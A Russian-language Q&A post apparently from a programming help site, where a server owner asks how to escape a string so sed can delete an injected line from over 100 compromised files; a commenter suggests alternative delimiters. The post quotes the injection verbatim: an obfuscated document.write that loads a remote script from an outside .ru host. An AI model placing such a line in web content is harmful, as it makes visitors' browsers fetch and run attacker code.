Недавно мой Linux-сервер был заражен вредоносным ПО, и в результате у меня есть более 100 файлов, зараженных одной строкой кода Javascript:
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
Убирать вручную было бы слишком утомительно, поэтому копаюсь в гугле (мало знаний о линуксе там не помогло) и выяснил, что для этой цели можно использовать sed.
К сожалению, я не мог избежать линии, поэтому я мог использовать
sed -i.bak '/line of text/d' *
синтаксис, он полон одинарных кавычек, двойных кавычек и обратной косой черты.
Как я могу избежать строки или есть ли другой, более простой способ сделать это?
sed
, поэтому вам не нужно делать столько экранирования.sed '\|text/with/slashes|d'
. К сожалению, цитаты - другое дело. - person Dennis Williamson   schedule 31.10.2010